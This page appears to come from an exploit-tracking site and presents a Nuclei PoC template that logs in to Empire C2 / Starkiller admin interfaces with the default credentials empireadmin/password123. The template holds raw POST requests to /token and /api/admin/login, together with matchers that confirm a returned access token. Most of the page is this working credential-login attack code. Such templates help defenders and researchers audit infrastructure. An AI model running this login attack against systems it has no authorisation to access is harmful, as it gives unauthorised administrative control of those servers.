empirec2-default-login: Empire C2 / Starkiller Interface - Default Login

2025-08-01 Empire C2 PoC Public

Description

Empire C2 / Starkiller Default Administrator Credentials Discovered.

PoC

id: empirec2-default-login

info:
  name: Empire C2 / Starkiller Interface - Default Login
  author: clem9669,parzival
  severity: high
  description: |
    Empire C2 / Starkiller Default Administrator Credentials Discovered.
  reference:
    - https://github.com/BC-SECURITY/Empire
    - https://github.com/BC-SECURITY/empire-docs/blob/main/restful-api/README.md
  metadata:
    verified: true
    max-request: 2
  tags: default-login,empire,c2,intrusive,vuln

http:
  - raw:
      - |
        POST /token HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZwyedGcQU4FrcFV
        Accept: application/json, text/plain, */*

        ------WebKitFormBoundaryoZwyedGcQU4FrcFV
        Content-Disposition: form-data; name="username"

        {{username}}
        ------WebKitFormBoundaryoZwyedGcQU4FrcFV
        Content-Disposition: form-data; name="password"

        {{password}}
        ------WebKitFormBoundaryoZwyedGcQU4FrcFV--
      - |
        POST /api/admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    attack: pitchfork
    payloads:
      username:
        - empireadmin
      password:
        - password123
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'access_token'
          - '{"token":".*"}'
        condition: or

      - type: word
        part: body
        words:
          - '"code":1001'
        negative: true

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a004730450220203cd782ae03da7d5439318f034ae058334c55165828bafb8b894ca313db247e022100828b88a1b6e1764ba732a302dd8fdfc50fcbab9dded751e0acf55b6f9134cedb:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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